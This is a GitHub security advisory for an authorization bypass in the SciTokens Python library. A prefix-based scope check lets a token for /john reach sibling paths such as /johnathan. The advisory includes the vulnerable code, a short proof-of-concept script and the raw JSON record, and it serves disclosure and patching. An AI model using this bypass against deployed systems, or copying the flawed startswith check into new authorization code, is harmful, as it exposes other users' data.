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GHSA-W8FP-G9RH-34JH

Vulnerability from github – Published: 2026-03-31 22:51 – Updated: 2026-03-31 22:51
VLAI
Summary
SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking
Details

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC


import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")

    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)

    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"

    print(f"Authorized path in scope: /john")

    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scitokens"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:51:03Z",
    "nvd_published_at": "2026-03-31T03:15:57Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**.\n\n### Details\n**File:** `src/scitokens/scitokens.py`  \n**Methods:** `_validate_scp` and `_validate_scope`\n\n### Vulnerable Code Snippets:\n\n**In `_validate_scp` (around line 696):**\n```python\n    for scope in value:\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\n**In `_validate_scope` (around line 722):**\n```python\n    for scope in value.split(\" \"):\n        authz, norm_path = self._check_scope(scope)\n        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n            return True\n```\n\nIf `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access.\n\n### PoC\n```\n\nimport scitokens\nimport sys\n\ndef poc_scope_bypass():\n    \"\"\"\n    Demonstrate an Authorization Bypass vulnerability in scope path checking.\n    \"\"\"\n    print(\"--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---\")\n    \n    issuer = \"https://scitokens.org/unittest\"\n    enforcer = scitokens.Enforcer(issuer)\n    \n    # Create a token with access to /john\n    token = scitokens.SciToken()\n    token[\u0027iss\u0027] = issuer\n    token[\u0027scope\u0027] = \"read:/john\"\n    \n    print(f\"Authorized path in scope: /john\")\n    \n    # 1. Test access to /john/file (should be allowed)\n    print(f\"[1] Testing legitimate subpath: /john/file\")\n    if enforcer.test(token, \u0027read\u0027, \u0027/john/file\u0027):\n        print(\"    -\u003e Access GRANTED (Correct behavior)\")\n    else:\n        print(\"    -\u003e Access DENIED (Incorrect behavior - should have access to subpaths)\")\n\n    # 2. Test access to /johnathan (SHOULD BE DENIED)\n    print(f\"[2] Testing illegitimate sibling path: /johnathan\")\n    if enforcer.test(token, \u0027read\u0027, \u0027/johnathan\u0027):\n        print(\"    -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -\u003e Access DENIED (Correct behavior - fix is working)\")\n\n    # 3. Test access to /johnny (SHOULD BE DENIED)\n    print(f\"[3] Testing illegitimate sibling path: /johnny\")\n    if enforcer.test(token, \u0027read\u0027, \u0027/johnny\u0027):\n        print(\"    -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n    else:\n        print(\"    -\u003e Access DENIED (Correct behavior - fix is working)\")\n\nif __name__ == \"__main__\":\n    # Ensure scitokens from src/ is available\n    sys.path.insert(0, \"src\")\n    poc_scope_bypass()\n\n```\n### Impact\nThis bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.",
  "id": "GHSA-w8fp-g9rh-34jh",
  "modified": "2026-03-31T22:51:03Z",
  "published": "2026-03-31T22:51:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-w8fp-g9rh-34jh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/commit/7a237c0f642efb9e8c36ac564b745895cca83583"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scitokens/scitokens"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking"
}



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